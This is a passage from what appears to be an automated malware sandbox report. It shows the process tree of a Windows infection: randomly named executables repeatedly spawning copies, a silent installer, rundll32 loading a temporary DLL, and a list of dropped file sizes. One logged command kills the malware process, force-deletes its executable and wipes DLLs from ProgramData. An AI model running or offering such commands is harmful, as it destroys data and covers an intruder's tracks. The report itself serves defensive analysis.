C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10736 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
C:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exeC:\Users\Admin\Documents\kBT8PdP6RsJbMh3K9ucSYcS2.exe3⤵
-
-
-
C:\Users\Admin\Documents\rqIsCfg831_5xUl2Htq5BejD.exe"C:\Users\Admin\Documents\rqIsCfg831_5xUl2Htq5BejD.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\8028498.exe"C:\Users\Admin\AppData\Roaming\8028498.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\3682459.exe"C:\Users\Admin\AppData\Roaming\3682459.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\4434000.exe"C:\Users\Admin\AppData\Roaming\4434000.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\5716546.exe"C:\Users\Admin\AppData\Roaming\5716546.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\2567175.exe"C:\Users\Admin\AppData\Roaming\2567175.exe"3⤵
-
-
-
C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"2⤵
-
C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"3⤵
-
-
C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im kuYhbI5Z_Ito3jwBSS7SknQc.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe" & del C:\ProgramData\*.dll & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im kuYhbI5Z_Ito3jwBSS7SknQc.exe /f5⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"C:\Users\Admin\Documents\kuYhbI5Z_Ito3jwBSS7SknQc.exe"3⤵
-
-
-
C:\Users\Admin\Documents\W96a8CODvx3AJT75Op4MA4Mc.exe"C:\Users\Admin\Documents\W96a8CODvx3AJT75Op4MA4Mc.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M1LI5.tmp\W96a8CODvx3AJT75Op4MA4Mc.tmp"C:\Users\Admin\AppData\Local\Temp\is-M1LI5.tmp\W96a8CODvx3AJT75Op4MA4Mc.tmp" /SL5="$102B0,138429,56832,C:\Users\Admin\Documents\W96a8CODvx3AJT75Op4MA4Mc.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-I3B22.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-I3B22.tmp\Setup.exe" /Verysilent4⤵
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff790bda890,0x7ff790bda8a0,0x7ff790bda8b01⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 15688 -s 241⤵
- Program crash
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
192KB
-
Filesize
29.5MB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
80KB
-
Filesize
1.6MB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
572KB
-
Filesize
29.7MB
-
Filesize
296KB
-
Filesize
29.5MB
-
Filesize
4KB
-
Filesize
29.5MB
-
Filesize
1.3MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
33.6MB
-
Filesize
9.1MB
-
Filesize
8KB
-
Filesize
96KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
696KB
-
Filesize
29.5MB
-
Filesize
1.3MB
-
Filesize
29.5MB
-
Filesize
4KB
-
Filesize
472KB
-
Filesize
1.2MB
-
Filesize
820KB
-
Filesize
4KB
-
Filesize
828KB
-
Filesize
568KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
1.6MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
6.0MB
-
Filesize
136KB
-
Filesize
6.0MB
-
Filesize
472KB
-
Filesize
4KB
-
Filesize
6.0MB
-
Filesize
4KB
-
Filesize
296KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
88KB
-
Filesize
6.0MB